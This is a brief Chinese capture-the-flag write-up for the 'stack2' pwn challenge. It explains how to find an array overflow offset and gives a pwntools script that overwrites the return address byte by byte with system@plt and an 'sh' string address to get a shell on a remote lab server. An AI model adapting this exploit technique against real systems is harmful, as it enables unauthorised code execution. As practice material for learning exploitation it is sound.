这两个地方是存在溢出的,这个溢出偏移我们要怎么找呢?
这个偏移可以怎么得到呢?
一种方法就是我们直接输入数据然后去栈上找,我在看别人博客的时候发现还有一种方式
因为c语音的数组在一开始就已经搞好
我们在ida种
这样去找,虽然在gdb可以直接看,但是这样也是一种方法
我们看到文中的shell
不是bin/sh
所以这个后门函数等于没用
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
offest = 132
io = process("./stack2")
io = remote("node4.buuoj.cn",29777)
elf = ELF("./stack2")
system_plt = 0x08048450
sh_addr = 0x08048987
def change(addr,number):
io.recvuntil("5. exit")
io.sendline("3")
io.recvuntil("which number to change:")
io.sendline(str(addr))
io.recvuntil("new number:")
io.sendline(str(number))
io.recvuntil("How many numbers you have:")
io.sendline("1")
io.recvuntil("Give me your numbers")
io.sendline("2")
change(offest,0x50)
change(offest+1,0x84)
change(offest+2,0x04)
change(offest+3,0x08)
change(offest+8,0x87)
change(offest+9,0x89)
change(offest+10,0x04)
change(offest+11,0x08)
io.recvuntil("5. exit")
io.sendline("5")
io.interactive()